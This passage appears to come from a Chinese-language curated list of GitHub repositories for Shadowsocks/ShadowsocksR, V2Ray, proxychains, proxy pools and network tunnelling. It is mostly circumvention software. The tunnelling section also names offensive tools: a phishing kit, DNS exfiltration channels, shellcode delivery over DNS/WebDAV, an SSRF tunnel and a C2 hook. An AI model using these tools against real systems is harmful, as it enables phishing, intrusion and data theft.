- [**412**星][2y] [zyfworks/ssr-backup](https://github.com/zyfworks/ssr-backup) ShadowsocksR backups
- [**405**星][2y] [Makefile] [bettermanbao/openwrt-shadowsocksr-libev-full](https://github.com/bettermanbao/openwrt-shadowsocksr-libev-full) ShadowsocksR-libev-full for OpenWrt
- [**368**星][2y] [Py] [shadowsocksr-rm/shadowsocksr](https://github.com/shadowsocksr-rm/shadowsocksr) Python port of ShadowsocksR
- [**346**星][13d] [Py] [qwj/python-proxy](https://github.com/qwj/python-proxy) HTTP/Socks4/Socks5/Shadowsocks/ShadowsocksR/SSH/Redirect/Pf TCP/UDP asynchronous tunnel proxy implemented in Python 3 asyncio.
- [**344**星][1m] [Py] [leitbogioro/ssr.go](https://github.com/leitbogioro/ssr.go) A new shadowsocksR config manager
- [**319**星][5y] [shadowsocksr-rm/shadowsocks-rss](https://github.com/shadowsocksr-rm/shadowsocks-rss) ShadowsocksR update rss, SSR organization
- [**238**星][4m] [Swift] [shadowsocksr-live/ishadowsocksr](https://github.com/shadowsocksr-live/ishadowsocksr) ShadowsocksR for iOS, come from
- [**213**星][2y] [C#] [azure99/shadowsocksrcsm](https://github.com/azure99/shadowsocksrcsm) SSRC#魔改版，修复原版链接并进行人性化修改
- [**212**星][2y] [Py] [woosoftware/shadowsocksr-origin](https://github.com/woosoftware/shadowsocksr-origin) Python port of ShadowsocksR
- [**209**星][2y] [Go] [sun8911879/shadowsocksr](https://github.com/sun8911879/shadowsocksr) ShadowsocksR(SSR) for Go library
- [**190**星][10m] [JS] [noahziheng/ssr-helper](https://github.com/noahziheng/ssr-helper) A CLI helper of ShadowsocksR Python
- [**187**星][2m] [ObjC] [shadowsocksr-live/ssrmac](https://github.com/shadowsocksr-live/ssrmac) ShadowsocksR (SSR) client for macOS
- [**179**星][2y] [Shell] [malaohu/ssr-with-net-speeder](https://github.com/malaohu/ssr-with-net-speeder) Shadowsocksr with net speeder
- [**105**星][10m] [Py] [ehco1996/shadowsocksr-deprecated](https://github.com/ehco1996/shadowsocksr-deprecated) ssr mod version for django-sspanel
- [**100**星][20d] [Makefile] [honwen/openwrt-shadowsocksr](https://github.com/honwen/openwrt-shadowsocksr) ShadowsocksR-libev for OpenWrt/LEDE
- [**90**星][7m] [Shell] [honwen/luci-app-shadowsocksr](https://github.com/honwen/luci-app-shadowsocksr) OpenWrt/LEDE LuCI for ShadowsocksR-libev
- [**82**星][1y] [JS] [toyodadoubi/ssrstatus](https://github.com/toyodadoubi/ssrstatus) Shadowsocks/ShadowsocksR 账号在线监控
- [**61**星][2y] [C#] [kuoruan/shadowsocksr-csharp](https://github.com/kuoruan/shadowsocksr-csharp) ShadowsocksR for Windows
- [**55**星][7m] [Py] [shadowsocksr-live/shadowsocksr](https://github.com/shadowsocksr-live/shadowsocksr)
- [**50**星][2m] [Dockerfile] [winterssy/ssr-docker](https://github.com/winterssy/ssr-docker) 使用Docker部署ShadowsocksR服务端
- [**31**星][2y] [shadowsocksrr/shadowsocksx-ng](https://github.com/shadowsocksrr/shadowsocksx-ng) Next Generation of ShadowsocksX
- [**30**星][5m] [starriv/docker-ss](https://github.com/starriv/docker-ss) use the docker to run shadowsocksr
- [**27**星][2y] [Makefile] [shadowsocksr-rm/openwrt-shadowsocksr](https://github.com/shadowsocksr-rm/openwrt-shadowsocksr) ShadowsocksR-libev for OpenWrt/LEDE
- [**25**星][2y] [shadowsocksr-rm/shadowsocksx-ng](https://github.com/shadowsocksr-rm/shadowsocksx-ng) Next Generation of ShadowsocksX
- [**14**星][5d] [C] [shadowsocksr-live/ssrwin](https://github.com/shadowsocksr-live/ssrwin) ShadowsocksR (SSR) client for Windows
- [**13**星][2y] [TS] [kokororin/nssr](https://github.com/kokororin/nssr) Node.js client for ShadowsocksR
#### <a id="81bb199d6d8690cc6d7ddc92aa81f7f9"></a>帐号
- [**5654**星][1m] [Roff] [max2max/freess](https://github.com/max2max/freess) 免费ss账号 免费shadowsocks账号 免费v2ray账号 (长期更新)
- [**2437**星][2m] [Py] [the0demiurge/shadowsocksshare](https://github.com/the0demiurge/shadowsocksshare) 从ss(r)共享网站爬虫获取共享ss(r)账号，通过解析并校验账号连通性，重新分发账号并生成订阅链接
- [**475**星][1y] [itrump/ssfree](https://github.com/itrump/ssfree) provide shadowsocks free tutorial and free account
- [**133**星][2y] [Py] [chenjiandongx/soksaccounts](https://github.com/chenjiandongx/soksaccounts) Shadowsocks 账号爬虫
#### <a id="bfe4545f8f585c6f19d28ae9d5912aff"></a>插件
- [**749**星][7m] [Go] [cbeuw/goquiet](https://github.com/cbeuw/goquiet) A Shadowsocks obfuscation plugin utilising domain fronting to evade deep packet inspection
- [**53**星][2y] [HTML] [jm33-m0/gfw_scripts](https://github.com/jm33-m0/gfw_scripts) added shadowsocks plugin for gee 4
- [**36**星][1m] [Java] [xausky/shadowsocksgostplugin](https://github.com/xausky/shadowsocksgostplugin) Gost 的 Shadowsocks 安卓插件，可以直接在 Shadowsocks 安卓客户端上连接 Gost 服务器
#### <a id="82476f41454f4e55dcdcf45d817e0395"></a>Docker
- [**81**星][2y] [JS] [chxj1992/shadowsocks-manager-docker](https://github.com/chxj1992/shadowsocks-manager-docker) 这是一个基于 shadowsocks-manager webui 插件开发的shadowsocks账号售卖网站的Docker镜像
- [**65**星][9m] [Dockerfile] [hangim/kcp-shadowsocks-docker](https://github.com/hangim/kcp-shadowsocks-docker) A docker image for shadowsocks server with KCPTUN support
- [**28**星][21d] [Shell] [yaleh/kcp-shadowsocks-server](https://github.com/yaleh/kcp-shadowsocks-server) Docker image of a server with KCP tunnel and Shadowsocks.
- [**24**星][4y] [xgfan/ss-relay](https://github.com/xgfan/ss-relay) shadowsocks relay docker
- [**22**星][12m] [Shell] [cogset/shadowsocks](https://github.com/cogset/shadowsocks) Shadowsocks in Docker
- [**21**星][1m] [Dockerfile] [secbone/docker-ss-libev](https://github.com/secbone/docker-ss-libev) A mini docker image of Shadowsocks-libev only 15M in size
- [**21**星][1y] [Dockerfile] [alibo/goquiet-shadowsocks-docker](https://github.com/alibo/goquiet-shadowsocks-docker) A Docker image for Shadowsocks over GoQuiet
#### <a id="0a4e6103d8a48ee758983d56018076da"></a>安装&&管理
- [**7207**星][7m] [Shell] [teddysun/shadowsocks_install](https://github.com/teddysun/shadowsocks_install) Auto Install Shadowsocks Server for CentOS/Debian/Ubuntu
- [**4246**星][2y] [imeiji/shadowsocks_install](https://github.com/imeiji/shadowsocks_install) Auto install shadowsocks server，thanks 秋水逸冰
- [**3860**星][5d] [JS] [shadowsocks/shadowsocks-manager](https://github.com/shadowsocks/shadowsocks-manager) A shadowsocks manager tool for multi user and traffic control.
- [**1660**星][4d] [Py] [ehco1996/django-sspanel](https://github.com/ehco1996/django-sspanel) 用diango开发的全新的shadowsocks网络面板
- [**858**星][2y] [CoffeeScript] [onplus/shadowsocks-heroku](https://github.com/onplus/shadowsocks-heroku) 一键部署 Free Shadowsocks-Heroku
- [**843**星][3y] [Shell] [hellofwy/ss-bash](https://github.com/hellofwy/ss-bash) Shadowsocks流量管理脚本
- [**481**星][3y] [JS] [vincentchanx/shadowsocks-over-websocket](https://github.com/vincentchanx/shadowsocks-over-websocket) 免费使用 Heroku 部署 shadowsocks
- [**207**星][2m] [Py] [edboffical/bsp](https://github.com/edboffical/bsp) shadowsocks多用户、流量、限时管理接口
- [**179**星][4y] [JS] [gamexg/shadowsocks_admin](https://github.com/gamexg/shadowsocks_admin) 一个 shadowsocks 服务器多账号管理系统，后端使用 shadowsocks-go 。支持多节点、流量限制等功能。
- [**136**星][2y] [Shell] [junbaor/shell_script](https://github.com/junbaor/shell_script) 一键安装 shadowsocks，支持 chacha20-ietf-poly1305 加密方式
- [**107**星][1y] [Py] [lizhongnian/btpanel-ss](https://github.com/lizhongnian/btpanel-ss) 基于宝塔Linux面板的shadowsocks可视化管理插件,本人博客,欢迎大家指导
- [**54**星][1y] [PHP] [ahref-group/superpanel](https://github.com/ahref-group/superpanel) A new shadowsocks panel based on ThinkPHP
- [**42**星][2y] [Py] [liang2580/btpanel-ss](https://github.com/liang2580/btpanel-ss) 基于宝塔Linux面板的shadowsocks可视化管理插件
- [**40**星][8d] [HTML] [zkeeer/shadowsocks-manager](https://github.com/zkeeer/shadowsocks-manager) shadowsocks多用户管理，可视化管理，轻量级，一键安装shadowsocks和ssadmin，控制端口流量/速度，查看端口状态，修改ss配置
- [**28**星][3m] [Shell] [hybtoy/ssrrmu](https://github.com/hybtoy/ssrrmu) ShadowsocksRR (shadowsocksr/ssr) multi-user and single-user install script
- [**28**星][3y] [Shell] [rccoder/awesome-shadowsocks-qt5-installation-on-debian](https://github.com/rccoder/awesome-shadowsocks-qt5-installation-on-debian) Installation Script For shadowsocks-Qt5 on Debian
- [**28**星][2m] [Shell] [idkiro/ssmgr-install](https://github.com/idkiro/ssmgr-install) shadowsocks-manager 前端+后端+魔改BBR一键部署脚本
- [**21**星][3y] [C#] [shadowsocks-plus/shadowsocks-plus-win](https://github.com/shadowsocks-plus/shadowsocks-plus-win) An installer for SSPlus local proxy on Windows
#### <a id="81ba7ad53e5c5f4a9615923ba9595928"></a>其他
- [**1198**星][2m] [jadagates/shadowsocksbio](https://github.com/jadagates/shadowsocksbio) 记录一下SS的前世今生，以及一个简单的教程总结
- [**949**星][3m] [zhaoweih/shadowsocks-tutorial](https://github.com/zhaoweih/shadowsocks-tutorial) SS教程
### <a id="dbc310300d300ae45b04779281fe6ec8"></a>V2Ray
#### <a id="9a47326f72e25428c0163118b9eb42e5"></a>未分类
- [**19408**星][1y] [alvin9999/new-pac](https://github.com/alvin9999/new-pac) 科学/自由上网，免费ss/ssr/v2ray/goflyway账号，搭建教程
- [**5067**星][13d] [Swift] [yanue/v2rayu](https://github.com/yanue/v2rayu) V2rayU,基于v2ray核心的mac版客户端,用于科学上网,使用swift编写,支持vmess,shadowsocks,socks5等服务协议,支持订阅, 支持二维码,剪贴板导入,手动配置,二维码分享等
- [**1789**星][25d] [selierlin/share-ssr-v2ray](https://github.com/selierlin/share-ssr-v2ray) 解决科学上网问题
- [**1450**星][12d] [Go] [xiaoming2028/free-pac](https://github.com/xiaoming2028/Free-PAC) 科学上网/梯子/自由上网/翻墙 SS/SSR/V2Ray/Brook 搭建教程
- [**1350**星][1y] [kirikira/vtemplate](https://github.com/kirikira/vtemplate) v2ray的模板们
- [**1188**星][4d] [Go] [shadowsocks/v2ray-plugin](https://github.com/shadowsocks/v2ray-plugin) A SIP003 plugin based on v2ray
- [**983**星][22d] [HTML] [sprov065/v2-ui](https://github.com/sprov065/v2-ui) 支持多协议多用户的 v2ray 面板，Support multi-protocol multi-user v2ray panel
- [**911**星][4m] [Kotlin] [eycorsican/kitsunebi-android](https://github.com/eycorsican/kitsunebi-android) A fully-featured V2Ray client for Android.
- [**835**星][1m] [Shell] [zfl9/ss-tproxy](https://github.com/zfl9/ss-tproxy) SS/SSR/V2Ray/Socks5 透明代理 for Linux
- [**662**星][2m] [Shell] [toutyrater/v2ray-guide](https://github.com/toutyrater/v2ray-guide)
- [**619**星][6d] [ntkernel/lantern](https://github.com/ntkernel/lantern) V2Ray配置文件，蓝灯(Lantern)破解，手机版+win版
- [**616**星][23d] [C++] [lhy0403/qv2ray](https://github.com/lhy0403/qv2ray) v2ray linux Windows macOS GUI, 使用 Qt & c++， 支持 vmess ss socks，支持 vmess:// 扫描二维码，路由编辑
- [**460**星][2y] [Kotlin] [v2ray-android/actinium](https://github.com/v2ray-android/actinium) A 3rd party V2Ray client for Android
- [**454**星][28d] [Py] [jiangxufeng/v2rayl](https://github.com/jiangxufeng/v2rayl) v2ray linux GUI客户端，支持订阅、vemss、ss等协议，自动更新订阅、检查版本更新
- [**421**星][1y] [Py] [veekxt/v2ray-template](https://github.com/veekxt/v2ray-template) v2ray 模板，v2ray 配置生成工具
- [**369**星][3m] [Dockerfile] [onplus/v2hero](https://github.com/onplus/v2hero) All Free . Deploy V2Ray to Heroku . v2ray学习参考
- [**346**星][1y] [Shell] [dylanbai8/onekey_caddy_php7_sqlite3](https://github.com/dylanbai8/onekey_caddy_php7_sqlite3) 小内存 VPS 一键搭建 Caddy+PHP7+Sqlite3 环境 （支持VPS最小内存64M），一键翻墙 caddy+web(php+sqlite3)+v2ray+bbr。
- [**314**星][3m] [Shell] [zw963/asuswrt-merlin-transparent-proxy](https://github.com/zw963/asuswrt-merlin-transparent-proxy) transparent proxy base on ss, v2ray, ipset, iptables, chinadns on asuswrt merlin.
- [**283**星][29d] [Dockerfile] [pengchujin/v2raydocker](https://github.com/pengchujin/v2raydocker) 一键v2ray ws + tls 方便就完事了
- [**254**星][3m] [Shell] [sprov065/sprov-ui](https://github.com/sprov065/sprov-ui) 一个支持多协议多用户的v2ray Web面板
- [**246**星][1y] [Shell] [dylanbai8/v2ray_h2-tls_website_onekey](https://github.com/dylanbai8/v2ray_h2-tls_website_onekey) V2RAY 基于 CADDY 的 VMESS+H2+TLS+Website(Use Host)+Rinetd BBR 一键安装脚本
- [**203**星][21d] [Lua] [kuoruan/luci-app-v2ray](https://github.com/kuoruan/luci-app-v2ray) LuCI support for V2Ray
- [**165**星][2y] [Shell] [moexin/easy-v2ray](https://github.com/moexin/easy-v2ray) 简单的V2ray一键配置包，小白也能简单上手。
- [**165**星][4d] [JS] [paperseller/chn-iplist](https://github.com/paperseller/chn-iplist) Chnroutes rules for routers、Shadowrocket、Quantumult、Kitsunebi、acl、BifrostV、v2rayNG、clash、pac、v2ray config file.
- [**154**星][10m] [Shell] [v2ray/dist](https://github.com/v2ray/dist) Mirror of V2Ray core releases
- [**132**星][9m] [JS] [htfy96/v2ray-config-gen](https://github.com/htfy96/v2ray-config-gen) V2Ray Configuration generator
- [**129**星][2y] [C#] [v2ray/v2ray-panel-master](https://github.com/v2ray/v2ray-panel-master) Deprecated
- [**112**星][6m] [v2rayv3/v2ray-sspanel-v3-mod_uim-plugin](https://github.com/v2rayv3/v2ray-sspanel-v3-mod_uim-plugin)
- [**98**星][1m] [Go] [ne1llee/v2ray2clash](https://github.com/ne1llee/v2ray2clash) V2ray、SSR subscribe convert to Clash、QuantumultX
- [**96**星][5d] [Go] [colettecontreras/v2ray-poseidon](https://github.com/ColetteContreras/v2ray-poseidon) A buildin V2ray plugin for SSRPanel to sync users from database to v2ray, to log traffics/system info
- [**86**星][9m] [Py] [npist/v2rayms](https://github.com/npist/v2rayms) v2ray whmcs 多用户后端
- [**79**星][2y] [nanqinlang-mogic/v2ray](https://github.com/nanqinlang-mogic/v2ray) template with websocket+tls+nginx of v2ray
- [**77**星][2m] [Py] [boypt/vmess2json](https://github.com/boypt/vmess2json) Scripts parse vmess:// links into v2ray config json and vice versa.
- [**58**星][3y] [v2ray/planning](https://github.com/v2ray/planning) Deprecated. Please use v2ray-core for feature requests
- [**57**星][10m] [Vue] [pengchujin/subscribevue](https://github.com/pengchujin/subscribevue) ss ssr v2ray 订阅管理 vue前端界面
- [**57**星][10m] [TS] [pengchujin/onesubscribe](https://github.com/pengchujin/onesubscribe) ss ssr v2ray 订阅管理 node 后端
- [**56**星][2y] [Kotlin] [v2ray/v2rayng](https://github.com/v2ray/v2rayng) This project is currently discontinued. Please use this code with care and considering adopt it.
- [**52**星][2m] [Shell] [mwz1tn/free-v2ray](https://github.com/mwz1tn/free-v2ray) 免费v2ray分享，V2ray安装使用教程，墙裂的购买使用教程
- [**48**星][2y] [Shell] [danielfree/asus-v2ray-transparent-proxy](https://github.com/danielfree/asus-v2ray-transparent-proxy) transparent proxy with v2ray, iptables, ipset 无线路由器 v2ray 透明代理
- [**46**星][2y] [Go] [onplus/v2ray-sitedat](https://github.com/onplus/v2ray-sitedat)
- [**42**星][9d] [Go] [mzz2017/v2raya](https://github.com/mzz2017/v2raya) V2RayA是一个支持全局透明代理的V2Ray Linux GUI客户端。
- [**41**星][1y] [Py] [v2ray/v2ray-shell_alpha](https://github.com/v2ray/v2ray-shell_alpha) A GUI for V2Ray-core, written in PyQt5
- [**38**星][3m] [C++] [aliyuchang33/hv2ray](https://github.com/aliyuchang33/hv2ray) A linux GUI tool for v2ray base on QT.
- [**33**星][2y] [C#] [mili-tan/mv2rayconfig](https://github.com/mili-tan/mv2rayconfig)
- [**32**星][3m] [Shell] [lbp0200/v2ray-vultr](https://github.com/lbp0200/v2ray-vultr) 在vultr上，在线自动部署v2ray
- [**31**星][2m] [Shell] [masssmith/smgate](https://github.com/masssmith/smgate) 用树莓派做v2ray透明翻墙网关
- [**31**星][1y] [Shell] [wongsyrone/openwrt-v2ray](https://github.com/wongsyrone/openwrt-v2ray) v2ray package example for OpenWrt/LEDE
- [**31**星][2m] [xuxiaodong/v2ray-for-ansible](https://github.com/xuxiaodong/v2ray-for-ansible) V2Ray for Ansible
- [**27**星][2y] [JS] [kafuuchinoq/v2raygeokit](https://github.com/kafuuchinoq/v2raygeokit)
- [**26**星][6m] [Batchfile] [dylanbai8/c2ray](https://github.com/dylanbai8/c2ray) C2ray 一款windows下的极简 V2ray 客户端
- [**25**星][2y] [C#] [zjyl1994/v2switcher](https://github.com/zjyl1994/v2switcher) 极简V2Ray配置切换器，拯救多线用户
- [**24**星][24d] [JS] [josephpei/uv2ray](https://github.com/josephpei/uv2ray) Electron V2ray Client (mostly for Linux)
- [**22**星][1y] [Shell] [sparkness/v2ray-tls-docker](https://github.com/sparkness/v2ray-tls-docker) easy to use v2ray tls server
- [**20**星][1y] [Shell] [kyonli/asuswrt-v2ray](https://github.com/kyonli/asuswrt-v2ray) Transparent proxy based on V2Ray
- [**19**星][2m] [Go] [ehco1996/v2scar](https://github.com/ehco1996/v2scar) sidecar for V2ray
- [**19**星][5d] [Shell] [mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent) 本项目旨在更好的学习新知识，采用CDN+TLS+Nginx+v2ray进行伪装并突破防火墙。
- [**16**星][2y] [Ruby] [kofj/homebrew-v2ray](https://github.com/kofj/homebrew-v2ray) Homebrew tap for v2ray core.
#### <a id="441d09c37d758425d97bcdb5e08a4256"></a>V2Ray-lib/GUI
- [**25531**星][14d] [Go] [v2ray/v2ray-core](https://github.com/v2ray/v2ray-core) A platform for building proxies to bypass network restrictions.
- [**1636**星][5m] [CSS] [functionclub/v2ray.fun](https://github.com/functionclub/v2ray.fun) 正在开发的全新 V2ray.Fun
- [**1344**星][10m] [C#] [cenmrev/v2rayw](https://github.com/cenmrev/v2rayw) GUI for v2ray-core on Windows
- [**418**星][21d] [Makefile] [kuoruan/openwrt-v2ray](https://github.com/kuoruan/openwrt-v2ray) V2Ray for OpenWrt
- [**259**星][2y] [C#] [v2ray/v2rayn](https://github.com/v2ray/v2rayn) A Windows GUI client for V2Ray.
- [**214**星][2m] [Ruby] [v2ray/homebrew-v2ray](https://github.com/v2ray/homebrew-v2ray) The homebrew tap for v2ray-core.
- [**207**星][2y] [C#] [shinlor/v2rays](https://github.com/shinlor/v2rays) 一个V2Ray的Windows客户端
- [**160**星][14d] [HTML] [v2ray/v2ray.github.io](https://github.com/v2ray/v2ray.github.io) V2Ray Portal
- [**84**星][2m] [ObjC] [gssdromen/v2rayc](https://github.com/gssdromen/v2rayc) a GUI for v2ray on Mac
#### <a id="e3e66ebfedb62affa6ef04eced00448f"></a>帐号
- [**2993**星][3m] [Dockerfile] [thinkdevelop/free-ss-ssr](https://github.com/thinkdevelop/free-ss-ssr) SS账号、SSR账号、V2Ray账号
#### <a id="d34c4520a378177efaaa60911f07d8d0"></a>模板
#### <a id="733afa2680ce2eab471cddc5654cd95b"></a>安装&&管理
- [**8564**星][7m] [Shell] [233boy/v2ray](https://github.com/233boy/v2ray) 最好用的 V2Ray 一键安装脚本 & 管理脚本
- [**2844**星][16d] [Py] [jrohy/multi-v2ray](https://github.com/jrohy/multi-v2ray) v2ray easy delpoy & manage tool， support multiple user & protocol manage
- [**2160**星][26d] [Shell] [wulabing/v2ray_ws-tls_bash_onekey](https://github.com/wulabing/v2ray_ws-tls_bash_onekey) V2Ray Nginx+vmess+ws+tls/ http2 over tls 一键安装脚本
#### <a id="1072cf1157d333483198c30028f65e5a"></a>其他
### <a id="160b0cdb52f30bdc3f222aa08c91d10d"></a>proxychains
- [**5659**星][2m] [C] [rofl0r/proxychains-ng](https://github.com/rofl0r/proxychains-ng) proxychains ng (new generation) - a preloader which hooks calls to sockets in dynamically linked programs and redirects it through one or more socks/http proxies. continuation of the unmaintained proxychains project. the sf.net page is currently not updated, use releases from github release page instead.
- [**2402**星][11m] [C] [haad/proxychains](https://github.com/haad/proxychains) a tool that forces any TCP connection made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy. Supported auth-types: "user/pass" for SOCKS4/5, "basic" for HTTP.
- [**15**星][1m] [Ruby] [thesecondsun/proxadd](https://github.com/thesecondsun/proxadd) A tool that adds proxy entries to Proxychains config
### <a id="8ff91c8095e77fe88dcac1cff78d79c6"></a>安装&&配置&&管理
- [**20221**星][5d] [Shell] [streisandeffect/streisand](https://github.com/StreisandEffect/streisand) Streisand sets up a new server running your choice of WireGuard, OpenConnect, OpenSSH, OpenVPN, Shadowsocks, sslh, Stunnel, or a Tor bridge. It also generates custom instructions for all of these services. At the end of the run you are given an HTML file with instructions that can be shared with friends, family members, and fellow activists.
- [**3413**星][] [Smarty] [anankke/sspanel-uim](https://github.com/anankke/sspanel-uim) 专为 Shadowsocks / ShadowsocksR / V2Ray 设计的多用户管理面板
- [**3248**星][11d] [TS] [jigsaw-code/outline-server](https://github.com/jigsaw-code/outline-server) 在DigitalOcean上创建和管理Outline服务器
- [**824**星][2y] [PHP] [zhufaner/shadowsocks-manage-system](https://github.com/zhufaner/shadowsocks-manage-system) 科学上网管理系统
- [**344**星][7d] [Shell] [loyess/shell](https://github.com/loyess/shell) Shadowsocks-libev with plugins one-click installation. For example: v2ray-plugin, kcptun, simple-obfs, goquiet, cloak...
- [**85**星][1y] [Py] [justsoos/ss-ssr-v2ray-gadget](https://github.com/justsoos/ss-ssr-v2ray-gadget) merge, deduplicate, backup, convert and online benchmark tools set for shadowsocks/shadowsocksR, v2ray. by python3
- [**57**星][3m] [Shell] [hirbodbehnam/shadowsocks-cloak-installer](https://github.com/hirbodbehnam/shadowsocks-cloak-installer) A one-key script to setup Cloak plugin with Shadowsocks on your server
- [**51**星][1m] [C] [ixzzving/ssr-vpn](https://github.com/ixzzving/ssr-vpn) Shadowsocks & ShadowsocksR & V2Ray & V2RayNG & VNET/酸酸乳节点及客户端
- [**41**星][1y] [Py] [ccapton/brook-ok](https://github.com/ccapton/brook-ok) brook程序服务端配置程序，一键搭建brook / Shadowsocks / Socks5服务用于科学上网
- [**36**星][] [fqshare/free-ssr-v2ray-vpn](https://github.com/fqshare/free-ssr-v2ray-vpn) ssr/酸酸乳/v2ray/shadowsocks节点/vpn/机场搬运分享
- [**32**星][11m] [TS] [xfoxfu/clover](https://github.com/xfoxfu/clover) Shadowsocks and v2ray User Interface
### <a id="b2241c68725526c88e69f1d71405c6b2"></a>代理爬取&&代理池
#### <a id="6d7e96fefef09f8ac350c8e9d77ec49c"></a>抓取
- [**8335**星][1m] [Py] [jhao104/proxy_pool](https://github.com/jhao104/proxy_pool) Python爬虫代理IP池
- [**3656**星][2y] [Py] [qiyeboy/ipproxypool](https://github.com/qiyeboy/ipproxypool) IPProxyPool代理池项目，提供代理ip
- [**1545**星][2y] [Py] [awolfly9/ipproxytool](https://github.com/awolfly9/ipproxytool) 使用 scrapy 爬虫抓取代理网站，获取大量的免费代理 ip。过滤出所有可用的 ip，存入数据库以备使用
- [**853**星][4d] [Go] [henson/proxypool](https://github.com/henson/proxypool) Golang实现的IP代理池
- [**562**星][1y] [Py] [fate0/getproxy](https://github.com/fate0/getproxy) 是一个抓取发放代理网站，获取 http/https 代理的程序
- [**305**星][2y] [Py] [wisedoge/proxypool](https://github.com/wisedoge/proxypool) 跨语言IP代理池，Python实现。
- [**284**星][9m] [Py] [chenjiandongx/async-proxy-pool](https://github.com/chenjiandongx/async-proxy-pool) 异步爬虫代理池，以 Python asyncio 为基础，旨在充分利用 Python 的异步性能。
- [**160**星][7m] [JS] [tidesec/proxy_pool](https://github.com/tidesec/proxy_pool) 一个小巧的代理ip抓取+评估+存储+展示的一体化的工具，包括了web展示和接口。
- [**137**星][4m] [Py] [derekhe/proxypool](https://github.com/derekhe/proxypool) 高质量免费代理池——每日1w+代理资源滚动更新
- [**123**星][2y] [Py] [lujqme/proxy_pool](https://github.com/lujqme/proxy_pool) IP代理池
- [**116**星][5y] [Py] [h01/proxyscanner](https://github.com/h01/proxyscanner) python HTTP代理扫描
- [**106**星][4y] [Py] [mapleray/proxy_pool](https://github.com/mapleray/proxy_pool) python 代理池
- [**95**星][3m] [Py] [cwjokaka/ok_ip_proxy_pool](https://github.com/cwjokaka/ok_ip_proxy_pool) 一个还ok的IP代理池
- [**63**星][10m] [Py] [xnffdd/proxypool](https://github.com/xnffdd/proxypool) 自建免费IP代理池。
- [**38**星][1y] [Py] [leeyis/ip_proxy_pool](https://github.com/leeyis/ip_proxy_pool) 动态生成爬虫，使用scrapy从互联网抓取并检查免费IP
- [**38**星][2m] [Py] [yaleimeng/free_proxy_pool](https://github.com/yaleimeng/free_proxy_pool) 对免费代理IP网站进行爬取，收集汇总为自己的代理池。关键是验证代理的有效性、匿名性、去重复
#### <a id="4417ed293dcbe11e3b5057be518e670d"></a>使用
- [**963**星][1y] [JS] [fabienvauchelles/scrapoxy](https://github.com/fabienvauchelles/scrapoxy) Scrapoxy将您的爬虫隐藏在云后面。启动代理池来发送网络请求
- [**302**星][5m] [Py] [rootviii/proxy_requests](https://github.com/rootviii/proxy_requests) Python类，使用爬取的代理发送http GET / POST请求
***
## <a id="07fb7fc7f8ef8da762c2cc86c482a3f6"></a>文章
# <a id="e996f5ff54050629de0d9d5e68fcb630"></a>隧道&&穿透&&反向代理
***
## <a id="01e6651181d405ecdcd92a452989e7e0"></a>工具
### <a id="ea4dfcd8f33ec1852180c6283b2c8516"></a>未分类
- [**11294**星][3d] [Go] [xtaci/kcptun](https://github.com/xtaci/kcptun) A Stable & Secure Tunnel based on KCP with N:M multiplexing and FEC. Available for ARM, MIPS, 386 and AMD64
- [**2391**星][12d] [Java] [mock-server/mockserver](https://github.com/mock-server/mockserver) MockServer enables easy mocking of any system you integrate with via HTTP or HTTPS with clients written in Java, JavaScript and Ruby. MockServer also includes a proxy that introspects all proxied traffic including encrypted SSL traffic and supports Port Forwarding, Web Proxying (i.e. HTTP proxy), HTTPS Tunneling Proxying (using HTTP CONNECT) and…
- [**1624**星][9m] [JS] [localtunnel/server](https://github.com/localtunnel/server) server for localtunnel.me
- [**968**星][19d] [HTML] [darksecdevelopers/hiddeneye](https://github.com/darksecdevelopers/hiddeneye) Modern Phishing Tool With Advanced Functionality And Multiple Tunnelling Services [ Android-Support-Available ]
- [**321**星][3y] [JS] [mamboleoo/infinitetubes](https://github.com/mamboleoo/infinitetubes) A tunnel experiment in WebGL inspired by the effect seen on
- [**308**星][2y] [JS] [arno0x/dnsexfiltrator](https://github.com/arno0x/dnsexfiltrator) Data exfiltration over DNS request covert channel
- [**296**星][4y] [samyk/proxygambit](https://github.com/samyk/proxygambit) Anonymize and fracture network traffic/Internet access over a point-to-point wireless link or through TCP->GSM->wifi tunnel (advanced resurrection of ProxyHam)
- [**257**星][2y] [Ruby] [bcoles/ssrf_proxy](https://github.com/bcoles/ssrf_proxy) SSRF Proxy facilitates tunneling HTTP communications through servers vulnerable to Server-Side Request Forgery.
- [**211**星][9m] [Go] [cloudflare/cloudflare-ingress-controller](https://github.com/cloudflare/cloudflare-ingress-controller) A Kubernetes ingress controller for Cloudflare's Argo Tunnels
- [**174**星][3y] [C#] [gangzhuo/kcptun-gui-windows](https://github.com/gangzhuo/kcptun-gui-windows) 隧道工具kcptun的GUI
- [**121**星][3y] [PS] [arno0x/dnsdelivery](https://github.com/arno0x/dnsdelivery) DNSDelivery provides delivery and in memory execution of shellcode or .Net assembly using DNS requests delivery channel.
- [**98**星][1m] [Go] [ls0f/cracker](https://github.com/ls0f/cracker) tunnel over http[s]
- [**90**星][2m] [JS] [beameio/beame-sdk](https://github.com/beameio/beame-sdk) HTTPS Server without a public/static IP. TLS Tunnels with decentralized credentials.
- [**57**星][4m] [Go] [flynaj/kcptun](https://github.com/flynaj/kcptun) A Secure Tunnel Based On KCP with N:M Multiplexing
- [**41**星][2y] [JS] [arno0x/reflectivednsexfiltrator](https://github.com/arno0x/reflectivednsexfiltrator) Data exfiltration using reflective DNS resolution covert channel
- [**38**星][2y] [Visual Basic .NET] [arno0x/webdavdelivery](https://github.com/arno0x/webdavdelivery) A WebDAV PROPFIND covert channel to deliver payloads
- [**25**星][8y] [C] [50m30n3/dsptunnel](https://github.com/50m30n3/dsptunnel) IP over audio tunnel
- [**25**星][2y] [Py] [dsnezhkov/octohook](https://github.com/dsnezhkov/octohook) Git Web Hook Tunnel for C2
- [**19**星][13d] [Java] [cronn-de/ssh-proxy](https://github.com/cronn-de/ssh-proxy) Pure Java implementation for SSH port tunneling that understands ProxyJump and ProxyCommand
- [**17**星][10m] [Go] [bitnami-labs/udig](https://github.com/bitnami-labs/udig) public-key addressed TCP tunnel broker
- [**17**星][1m] [Go] [rocket049/powerchat](https://github.com/rocket049/powerchat) linux / windows 加密聊天，分享文件，分享内容（markdown或html），TCP加密隧道
- [**15**星][2y] [Go] [liljebergxyz/tnnlink](https://github.com/liljebergxyz/tnnlink) Simple HTTP tunnel using SSH remote port forwarding
- [**14**星][1y] [Go] [bleenco/vex](https://github.com/bleenco/vex) reverse HTTP proxy tunnel via secure SSH connections.
